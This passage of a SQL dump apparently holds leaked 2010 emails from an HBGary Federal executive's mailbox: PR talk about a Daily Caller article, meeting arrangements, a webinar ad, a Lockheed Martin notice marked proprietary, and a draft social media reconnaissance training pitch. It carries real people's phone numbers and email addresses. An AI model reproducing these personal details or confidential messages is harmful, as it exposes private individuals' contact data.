D.C., but the demand for\r\nqualified cybersecurity specialists far exceeds the supply.\r\n\r\n&quot;You go looking for those people, but everybody else is looking for the\r\nsame thousand people,&quot; says SANS Research Director Alan Paller. &quot;So\r\nthey&#39;re just being pushed around from NSA to CIA to DHS to Boeing. It&#39;s a\r\nmess.&quot;\r\n\r\nThe Center for Strategic and International Studies highlights the problem in\r\na forthcoming report, &quot;A\r\nHuman Capital Crisis in Cybersecurity.&quot; \r\n\r\n \r\n\r\nIntelligence\r\nSquared U.S. \r\n\r\nHas\r\nThe Cyberwar Threat Been Exaggerated?\r\n\r\nAccording to the report, a key element of a &quot;robust&quot; cybersecurity\r\nstrategy is &quot;having the right people at every level to identify, build and\r\nstaff the defenses and responses.&quot; \r\n\r\nThe CSIS report highlights a &quot;desperate shortage&quot; of people with\r\nthe skills to &quot;design secure systems, write safe computer code, and create\r\nthe ever more sophisticated tools needed to prevent, detect, mitigate and\r\nreconstitute from damage due to system failures and malicious acts.&quot;\r\n\r\nThe cyber manpower crisis in the United States stands in sharp contrast to\r\nthe situation in China, where the training of computer experts is a top\r\nnational priority. In the most recent round of the International Collegiate\r\nProgramming Contest, co-sponsored by IBM and the Association for Computing\r\nMachinery, Chinese universities took four of the top 10 places. No U.S.\r\nuniversity made the list.\r\n\r\nThe Chinese government, in fact, appears to be systematically building a\r\ncyberwarrior force. \r\n\r\n&quot;Every military district of the Peoples&#39; Liberation Army runs a\r\ncompetition every spring,&quot; says Alan Paller of SANS, &quot;and they search\r\nfor kids who might have gotten caught hacking.&quot; \r\n\r\nOne of the Chinese youths who won that competition had earlier been caught\r\nhacking into a Japanese computer, according to Paller, only to be rewarded with\r\nextra training. \r\n\r\n&quot;Later that year we found him hacking into the Pentagon,&quot; Paller\r\nsays. &quot;So they find them, they train them, and they get them into\r\noperation very, very fast.&quot;\r\n\r\nSome members of Congress, eager to follow China&#39;s example, are now promoting\r\na U.S. Cyber Challenge, a national talent search at the high school level. The\r\naim is to find up to 10,000 potential cyberwarriors, ready to play both offense\r\nand defense. \r\n\r\n&quot;The idea is for schools around the country to field teams, and the\r\nteams would compete against one another,&quot; says Sen. Thomas Carper, a\r\nDemocrat from Delaware who is one of the backers of the effort. He sees the\r\nchallenge as an opportunity &quot;not only for them to hone their skills on\r\nbeing able to hack into other systems, particularly those of folks we may not\r\nbe fond of, but also to use what they learn to strengthen our defenses.&quot;\r\n\r\nIn order to protect a computer system, one needs to know how someone might\r\nattack it. Last year&#39;s preliminary Cyber Challenge game was won by a 17-year-old\r\nfrom Connecticut — Michael Coppola — who was smart enough to hack\r\ninto the game computer and add points to his own score. \r\n\r\n&quot;There&#39;s actually a flaw within that web application,&quot; Coppola\r\nsays. &quot;Using that, I was able to execute commands on the computer running\r\nthe scoring software, and I was able to add points and basically do whatever I\r\nwanted.&quot;\r\n\r\nIt was certainly an unconventional approach, but the competition judges were\r\nso impressed by Michael&#39;s ability to hack into the computer game that they\r\nactually rewarded him for changing his score. \r\n\r\n&quot;It&#39;s cheating,&quot; Michael says, &quot;but it&#39;s like the entire game\r\nis cheating.&quot;\r\n\r\nIndeed. People who know how to cheat will soon be on the front lines of\r\ncyber defense, because the best way to defend a computer system from attack is\r\nto figure out how an adversary would be able to hack into it. \r\n\r\nNow 18, Michael Coppola is himself looking to a career in cybersecurity. \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n',11362,'aaron_hbgary_com/11362.html'),(8771,'2010-07-19','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006703.M418128P14101Q3626.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Black Hat meeting','Do you have a preference on what time to meet Brian?Do you have a preference of Smith and Wollensky or Nero&#39;s -- I don&#39;t know either...---------- Forwarded message ----------\r\nFrom: Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov&gt;Date: Mon, Jul 19, 2010 at 10:14 AMSubject: Re: Black Hat meeting\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;Cc: &quot;Penny C. Hoglund&quot; &lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\nPenny, Maria,\r\n\r\nHow does Wednesday sound?  I’m flexible with when and where so what ever Greg prefers will work for me.  \r\n\r\nWe could possibly meet up at Smith and Wollensky, or Nero’s (in Ceasears) or somewhere that Greg and Aaron prefer?\r\n\r\nThanks again,\r\n\r\nBrian\r\n\r\n\r\nOn 7/19/10 8:29 AM, &quot;Maria Lucas&quot; &lt;maria@hbgary.com&gt; wrote:\r\n\r\nHi Brian\r\n\r\nGreg is available Wednesday or Thursday evening to meet at Black Hat.  Which day is better for you, and what time would you like to meet for dinner?  Aaron may also be able to join....\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',16434,'aaron_hbgary_com/16434.html'),(8772,'2010-07-19','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297006703.M846050P14101Q3627.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Please see Daily Caller Article','In this Daily Caller piece, they seem to infer that we intentionally are mispresenting location of HBGary Federal. We should probably clarify on Website about our two locations.\r\nhttp://dailycaller.com/2010/07/19/intelligence-community-heightens-security-measures-following-washington-post-top-secret-america-story/\r\n',13070,'aaron_hbgary_com/13070.html'),(8773,'2010-07-19','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006704.M396224P14101Q3629.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"emil nazzaro\" <emil@bydandassociates.com>','Intro','Aaron and Emil - wanted to connect the two of you up.  I\'m sure you have \r\na lot of contacts in common, and there may be an opportunity to help \r\neach other out.\r\n\r\nAaron - Emil has been working with Fidelis for a number of years helping \r\ngenerate business in the Federal Government.  He has a lot of experience \r\nand contacts, and his Army background has been particularly helpful.  \r\nHis business partner, Byrne Huntley, also has a great background.  \r\nhttp://www.bydandassociates.com/about/\r\n\r\nEmil - Aaron is the CEO of HB Gary Federal.  HB Gary has some amazing \r\nproducts for endpoint memory analysis and forensics, and Aaron is \r\nleading up their Federal business including both product and services.  \r\nHe has a great background in cyber security, and was with both Northrop \r\nGrumman and the US Navy before joining HB Gary.\r\n\r\nDavid\r\n\r\n\r\n',6574,'aaron_hbgary_com/6574.html'),(8774,'2010-07-19','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297006704.M72173P14101Q3628.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"shawn bracken\" <shawn@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>','HBGary Federal listed in washington post article','The post put out an article with tons of info about the US intelligence system.  Interesting to look at, check out HBGary Federal, which appears to be listed at my old house in Columbia Maryland (which is the original address we started it at).\r\nhttp://projects.washingtonpost.com/top-secret-america/companies/hbgary-federal/- Martin\r\n',9784,'aaron_hbgary_com/9784.html');
INSERT INTO `emails` VALUES (8775,'2010-07-19','\"L2 Federal Resources, Inc.\" <mail@constructionpubs.com>','/aaron@hbgary.com/new/1297006704.M741194P14101Q3630.eml','aaron@hbgary.com','One Day Left: Keys to Successful Government Contracting. Register Today.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n \r\n   \r\n \r\n   \r\n \r\n       \r\n \r\n            \r\n            \r\n               \r\n \r\n                   \r\n \r\n                        \r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\nWEBINAR\r\n                        Tuesday, July 20, 2010\r\n                        1:00-2:30 PM EDT\r\n                        \r\n&nbsp;\r\n                        \r\nFeaturing:\r\n                        \r\n                        Judy Bradt\r\n                        Principal\r\n                        Summit Insight\r\n                        \r\n                        \r\n                        \r\n&nbsp;\r\n                        \r\n\r\n                        Forward to a Colleague!\r\n                        \r\n                        \r\n\r\n                        \r\n                        \r\n                        \r\n                        \r\n                        \r\n                        \r\n                        &nbsp;\r\n                        \r\n_____________________\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;&nbsp;\r\n                        \r\nCan&rsquo;t Make the Session Live? Reserve your copy\r\n                        of the webinar on CD,\r\n                         Click here.\r\n                        &nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n_____________________&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\nFor          more information on\r\n                        WPL products and\r\n                        conferences, visit us at\r\n                        www.wpl.net.\r\n                        WPL Publishing Co., Inc.\r\n                        P.O. Box 1495\r\n                        Bethesda, MD \r\n                        &nbsp;                         Tel: (301) 765-9525\r\n                        &nbsp;                         Fax: (301) 983-4367\r\n                       \r\n \r\n&nbsp;\r\n                       \r\n \r\n&nbsp;&nbsp;&nbsp;\r\n                        \r\n                    \r\n                \r\n            \r\n            \r\nWPL Publishing Co., Inc., \r\nand\r\n L2 Federal Resources, Inc., \r\nannounce a valuable new interactive webinar:\r\n            \r\nGovernment Contracts Practical Jump Start: 7 Steps to Success\r\n            \r\nThinking of selling to the government, or want to win more contracts\r\n            than you are now? There are 7 things that all winners do. Find out what they are, what to expect, and get the answers you need to get started today. \r\n            \r\n            \r\nNow\'s the time to act, as agencies rush to exhaust \r\n            their budgets before the Sept. 30 fiscal year end.\r\n           \r\n \r\nIn just 90 minutes, this class will debunk the myths about government contracting,\r\n            give you first-class resources that are hard to find, and places you on the path to mastery of success essentials. Looking for that perfect set-aside contract? Want to sell directly, or team with one of the big prime contractors? You will find out what you really need to succeed if you are thinking of selling to the government. Class covers:\r\n            \r\n           \r\n \r\n               \r\n Business readiness\r\n                \r\n               \r\n GSA schedules and certification\r\n                \r\n               \r\n Finding opportunities\r\n                \r\n               \r\n Researching competition\r\n                \r\n               \r\n Process essentials: How the government buys\r\n                \r\n               \r\n Teaming tips for seeking partners\r\n                \r\n               \r\n Business development best practices\r\n                \r\n               \r\n Key resources and next steps\r\n                \r\n               \r\n And, much more!\r\n            \r\n           \r\n \r\nIn addition, a 10-to-15 minute period has been reserved at the end of the speaker\'s presentation for an interactive question-and-answer session so you can discuss specific issues or gain additional knowledge about topics discussed. To\r\n \r\n            register now, \r\nclick here.&nbsp; \r\n            \r\n           \r\n Who Will Benefit?\r\n            This webinar is a must if you are currently or considering working with the\r\n            government on any projects.\r\n            \r\n           \r\n \r\n\r\n            \r\n           \r\n \r\n\r\n           \r\n \r\nJudy Bradt, Principal\r\n            Summit Insight\r\n            Judy is one of America&rsquo;s top champions for savvy business owners exploring government contracts, and a trusted advisor on growing your profits with the world&rsquo;s biggest buyer.  For more than 22 years, she has counselled more than 6,000 clients who credit her advice for winning more than $300 million in government business.\r\n            As Principal of Summit Insight in Washington DC, Judy&rsquo;s a strategic advisor for government contracts, bringing her clients, readers and audiences no-nonsense insight on winning government business. Her\r\n Seven Steps to Success \r\njust helped a client close contracts worth nearly $500,000! She&rsquo;s been covered by national media including\r\n Business Week, \r\nFortune Small Business, \r\nWashington Business Journal, \r\nSmart CEO Magazine, \r\nFinancial Post, \r\nEnterprising Woman, \r\nand\r\n Entrepreneur Magazine. \r\n Find out more at www.summitinsight.com. \r\n            &nbsp;             \r\n            Prior to founding Summit Insight, Judy was Trade Commissioner at the Canadian Embassy in Washington for 15 years, specializing in the U.S. federal market. She is also a pilot and a rock-climbing instructor, so no matter how steep the climb for your business, she can take you all the way.  When you work with Judy Bradt, the sky is\r\n            no limit!\r\n                         \r\n            \r\nWebinar Details:\r\n            \r\n               \r\n \r\n                   \r\n \r\n                       \r\n &nbsp;Date:\r\n                       \r\n Tuesday, July 20, 2010\r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;Location:\r\n                       \r\n Your office or conference room (no need to travel!)\r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;Time: \r\n                       \r\n 1:00 &mdash; 2:30 EDT\r\n                        \r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;Price:\r\n                       \r\n Webinar PLUS Audio CD and handouts -- $246&nbsp; Best Value!\r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;\r\n                       \r\n Webinar Only -- $179&nbsp;\r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;\r\n                       \r\n Audio CD and handouts only -- $215 (pre-conference price)\r\n                    \r\n                \r\n            \r\n            \r\nTo Register ONLINE, Click here.  For the FAX-BACK registration form, \r\n            Click here.&nbsp; To reserve your space by phone CALL (301) 765-9525.\r\n            \r\n            Added Benefit:&nbsp; In-house training tool:&nbsp; Train your entire staff for one low price!\r\n            There is no limit to the number of participants at your location. Gather around the conference room table and listen to the speakers then discuss how it pertains to your particular company.&nbsp; For those who can&rsquo;t attend, you have the option to purchase the CD to listen to when more convenient.&nbsp;&nbsp; \r\n             \r\n            \r\n            \r\n\r\n            \r\n        \r\n    \r\n\r\n\r\n&nbsp;\r\n  \r\n \r\n \r\n   \r\n \r\n\r\nClick here to unsubscribe\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n	\r\n',12547,'aaron_hbgary_com/12547.html'),(8776,'2010-07-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006704.M995842P14101Q3631.eml','\"Karen Burke\" <karen@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>','RE: Please see Daily Caller Article','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCan you call the reporter and find out where they are getting\r\nthis info?&nbsp; HBGary Federal was disbanded, then re-formed.&nbsp; Initially we were in\r\nColumbia, but not sure where they are getting this.&nbsp; We can correct it if I\r\nknow source.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karen@hbgary.com] \r\nSent: Monday, July 19, 2010 7:58 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy; Greg Hoglund\r\nSubject: Please see Daily Caller Article\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nIn this Daily Caller&nbsp;piece, they seem to infer that we\r\nintentionally are mispresenting location of HBGary Federal. We should probably clarify\r\non Website about our two locations.\r\n\r\n\r\n\r\n\r\n\r\nhttp://dailycaller.com/2010/07/19/intelligence-community-heightens-security-measures-following-washington-post-top-secret-america-story/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6351,'aaron_hbgary_com/6351.html'),(8777,'2010-07-19','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297006705.M371438P14101Q3632.eml','\"Inc. HBGARY\" <All@hbgary.com>','Paycheck??','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHI guys,\r\n\r\n&nbsp;\r\n\r\nWe need to know if you all got the correct paycheck amount,\r\nPlease contact if you have had problems.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16798,'aaron_hbgary_com/16798.html'),(8778,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006705.M619790P14101Q3633.eml','\"Tom Conroy\" <tom.conroy@ngc.com>','Call today to discuss Cell Infrastructure','Do you have some time to talk today?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4627,'aaron_hbgary_com/4627.html'),(8779,'2010-07-19','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297006705.M864438P14101Q3634.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Please see Daily Caller Article','Hi Penny, Just to confirm then -- HBGary Federal is now HQ in Bethesda, MD? Also, he will most likely ask me whether we work with NSA. If so, I will just say that we don&#39;t provide names of customers to respect their privacy wishes. Karen \r\n\r\nOn Mon, Jul 19, 2010 at 9:12 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nCan you call the reporter and find out where they are getting this info?  HBGary Federal was disbanded, then re-formed.  Initially we were in Columbia, but not sure where they are getting this.  We can correct it if I know source.  \r\n\r\n \r\n\r\nFrom: Karen Burke [mailto:karen@hbgary.com] Sent: Monday, July 19, 2010 7:58 AM\r\nTo: Aaron BarrCc: Penny Leavy; Greg HoglundSubject: Please see Daily Caller Article\r\n\r\n \r\n\r\nIn this Daily Caller piece, they seem to infer that we intentionally are mispresenting location of HBGary Federal. We should probably clarify on Website about our two locations.\r\n\r\nhttp://dailycaller.com/2010/07/19/intelligence-community-heightens-security-measures-following-washington-post-top-secret-america-story/\r\n\r\n',3117,'aaron_hbgary_com/3117.html'),(8780,'2010-07-19','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006706.M330209P14101Q3636.eml','\"Aaron Barr\" <aaron@hbgary.com>','Al','\r\n\r\n\r\n\r\n\r\nAl\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nDo you think it is time Al visits the COIN folks?\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',3162,'aaron_hbgary_com/3162.html'),(8781,'2010-07-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006706.M80838P14101Q3635.eml','\"Karen Burke\" <karen@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>,','RE: Please see Daily Caller Article','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe are actually HQ&#8217;d in CA with office in Colorado Springs and\r\nBethesda.&nbsp; If you want give me his name and number and I can call him.&nbsp; It&#8217;s\r\ntoo long and drawn out for you too explain\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karen@hbgary.com] \r\nSent: Monday, July 19, 2010 9:23 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr; Greg Hoglund\r\nSubject: Re: Please see Daily Caller Article\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Penny, Just to confirm then\r\n-- HBGary Federal is now HQ in Bethesda, MD? Also, he will most likely ask me\r\nwhether we work with NSA. If so, I will just say that we don\'t provide names of\r\ncustomers to respect their privacy wishes. Karen&nbsp;\r\n\r\n\r\n\r\nOn Mon, Jul 19, 2010 at 9:12 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nCan you call the reporter and find out\r\nwhere they are getting this info?&nbsp; HBGary Federal was disbanded, then\r\nre-formed.&nbsp; Initially we were in Columbia, but not sure where they are\r\ngetting this.&nbsp; We can correct it if I know source.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen\r\nBurke [mailto:karen@hbgary.com]\r\n\r\nSent: Monday, July 19, 2010 7:58 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy; Greg Hoglund\r\nSubject: Please see Daily Caller Article\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nIn\r\nthis Daily Caller&nbsp;piece, they seem to infer that we intentionally are\r\nmispresenting location of HBGary Federal. We should probably clarify on Website\r\nabout our two locations.\r\n\r\n\r\n\r\n\r\n\r\nhttp://dailycaller.com/2010/07/19/intelligence-community-heightens-security-measures-following-washington-post-top-secret-america-story/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13971,'aaron_hbgary_com/13971.html'),(8782,'2010-07-19','\"Curtis, Colleen A\" <colleen.a.curtis@lmco.com>','/aaron@hbgary.com/new/1297006707.M559995P14101Q3637.eml',',,,,','UNO - ET Advanced Concept Studies Task Order Announcement   - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLockheed\r\nMartin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized\r\nindividuals who have executed nondisclosure agreements or who are otherwise\r\nlegally bound by confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nGood Afternoon,\r\n\r\n&nbsp;\r\n\r\nPlease find attached the initial\r\nannouncement for UNO Task order ET Study and the Security Information sheet.\r\n\r\n&nbsp;\r\n\r\nPlease respond with your\r\ninterest by 12:00 EDT on Tuesday July 20, 2010.\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nColleen A. Curtis\r\n\r\nGlobal Supply\r\nChain Management\r\n\r\nSubcontract\r\nAdministrator\r\n\r\nLockheed Martin\r\nInformation Systems &amp; Global Services\r\n\r\nPhone:\r\n703-466-1307\r\n\r\nFAX:\r\n703-466-1270\r\n\r\ne-mail:\r\nColleen.a.curtis@lmco.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3271,'aaron_hbgary_com/3271.html'),(8783,'2010-07-19','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297006707.M812004P14101Q3638.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Please see Daily Caller Article','Okay, here is contact info and some background on this conservative news site, which was founded by political commentary,GOP luminary, Tucker Carlson. Jon Ward is the political and White House reporter; originally from Washington Times -- very conservative. The link below provides more background on him. Email: jonwardeleven@gmail.com; 202-506-2027 (general number for The Daily Caller).  \r\n\r\n \r\n\r\n\r\nAbout Us\r\n\r\n\r\nFounded by Tucker Carlson, a 20-year veteran of print and broadcast media, and Neil Patel, former chief policy adviser to Vice President Cheney, The Daily Caller is a 24-hour news site providing original reporting from an experienced team of professional reporters, thought-provoking commentary and breaking news. In addition to hard news reporting and commentary, The Daily Caller features:\r\n\r\n\r\nhttp://www.politico.com/blogs/michaelcalderone/1109/WashTimes_Ward_joins_Daily_Caller.html\r\n\r\n \r\nOn Mon, Jul 19, 2010 at 9:23 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nWe are actually HQ’d in CA with office in Colorado Springs and Bethesda.  If you want give me his name and number and I can call him.  It’s too long and drawn out for you too explain\r\n\r\n \r\n\r\nFrom: Karen Burke [mailto:karen@hbgary.com] Sent: Monday, July 19, 2010 9:23 AM\r\nTo: Penny Leavy-HoglundCc: Aaron Barr; Greg HoglundSubject: Re: Please see Daily Caller Article\r\n\r\n\r\n\r\n \r\nHi Penny, Just to confirm then -- HBGary Federal is now HQ in Bethesda, MD? Also, he will most likely ask me whether we work with NSA. If so, I will just say that we don&#39;t provide names of customers to respect their privacy wishes. Karen \r\n\r\n\r\nOn Mon, Jul 19, 2010 at 9:12 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\nCan you call the reporter and find out where they are getting this info?  HBGary Federal was disbanded, then re-formed.  Initially we were in Columbia, but not sure where they are getting this.  We can correct it if I know source.  \r\n\r\n \r\n\r\nFrom: Karen Burke [mailto:karen@hbgary.com] Sent: Monday, July 19, 2010 7:58 AM\r\nTo: Aaron BarrCc: Penny Leavy; Greg HoglundSubject: Please see Daily Caller Article\r\n\r\n \r\n\r\nIn this Daily Caller piece, they seem to infer that we intentionally are mispresenting location of HBGary Federal. We should probably clarify on Website about our two locations.\r\n\r\nhttp://dailycaller.com/2010/07/19/intelligence-community-heightens-security-measures-following-washington-post-top-secret-america-story/\r\n\r\n \r\n',12610,'aaron_hbgary_com/12610.html'),(8784,'2010-07-19','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297006708.M31487P14101Q3639.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Network World Piece on Black Hat Talk','Hi Greg, Here is the Network World piece on your Black Hat talk. It looks great. This piece will be picked up by all the IDG sites i.e. Computerworld, InfoWorld, etc. plus the newspapers that use IDG newswire i.e. SF Chronicle, etc. The Government Computer News article will run next week. Karen\r\n\r\nhttp://www.networkworld.com/news/2010/071910-black-hat-fingerprint.html?page=1 \r\n',1108,'aaron_hbgary_com/1108.html'),(8785,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006708.M537431P14101Q3640.eml','\"Penny Leavy\" <penny@hbgary.com>','Better?','Social media has become part of the fabric of how we\r\ncommunicate and collaborate as a society.&nbsp;\r\nThe rise of the social web, and convergence of related technologies\r\n(e.g., mobile, location based services), has enabled faster information sharing\r\nand feedback cycles across a global audience.&nbsp; By nature of their use, social media services contain\r\nsignificant amounts of personally identifiable information (PII).&nbsp; Given the ease and speed of use, they\r\nalso present a significant risk of unauthorized disclosure of intellectual\r\nproperty or other sensitive information.&nbsp;\r\nMuch of this information is innocuous within a single service but when\r\naggregated with other open source social media services can expose information\r\npeople and organizations would consider sensitive.With the exploding number of users of social media services,\r\nit is a fact that family, friends, customers, prospects, partners, suppliers,\r\nconstituents, citizens, competitors and adversaries are all participating,\r\nintermingled in these same services.&nbsp;\r\nGiven the breadth of participation and the potential benefits, enterprises\r\nand government agencies are beginning to leverage social media for efficiency\r\nand productivity, however are anxious of the inherent risks in their use.&nbsp; Currently there doesn’t exist\r\ncomprehensive social media familiarization training or information exposure\r\nmonitoring services to help organizations train their employees on the risks\r\nrelated to social media and to monitor for points of information exposure that\r\nreach across platforms.&nbsp; As an\r\nexample, based on a linked in profile someone might list that they are in\r\nmergers and acquisitions for a particular company.&nbsp; If I monitor that persons friends lists across social media\r\nplatforms someone may be able to make predictions on corporate acquisitions.&nbsp; Or if I heavily monitor professional\r\nsocial media services someone might be able to make personal associations to\r\nprograms based on watching contract award sites, job postings, and correlating\r\nto personal position changes.&nbsp; And\r\nthe amount of information exposure only gets broader as location based services\r\nbecome more prominate and you can watch virtually people travel across the\r\ncountry, watch what airlines they use, hotels they stay in, company locations\r\nthey frequent.&nbsp; Understanding when\r\nand where to use these services becomes critical.&nbsp; Used improperly even in our personal lives could have\r\nunintended consequences when aggregated across multiple services.Our training covers the direction of the social web,\r\ndescribes effective uses and the risks of information exposure to people and\r\norganizations as well as run through some use cases demonstrating the ease of\r\nacquiring sensitive information by crawling and correlating social media\r\ninformation, including live demonstrations of social media reconnaissance.&nbsp; After understanding the main areas of\r\nrisk to an organization regarding use of social media, will we provide\r\nmitigation techniques covering people, process and technology.&nbsp; By managing these risks, organizations\r\ncan more comfortably gain the value of these sites, while protecting the organization\r\nand its sensitive information, whether personally identifiable or intellectual\r\nproperty-based.&nbsp; Attendees will\r\ngain knowledge doing risk assessments of social media use, risks and mitigation\r\ntechniques for social media use to prepare for more appropriate adoption.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9495,'aaron_hbgary_com/9495.html'),(8786,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006708.M782955P14101Q3641.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Al','Yes.I would like to have a telecon with Al prior to bring up some points of potential discussion and see what he thinks.AaronOn Jul 19, 2010, at 12:38 PM, Clair, Chris (TASC) wrote:\r\n\r\nHi Aaron,Do you think it is time Al visits the COIN folks?Thanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9017,'aaron_hbgary_com/9017.html'),(8787,'2010-07-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006709.M21445P14101Q3642.eml','\"Karen Burke\" <karen@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>,','RE: Please see Daily Caller Article','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHe was super nice.&nbsp; Ted, check D&amp;B and see if it has correct\r\naddress.&nbsp; ORCA and CCR should be checked as well.&nbsp; He&#8217;s checking where they get\r\ntheir info\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen 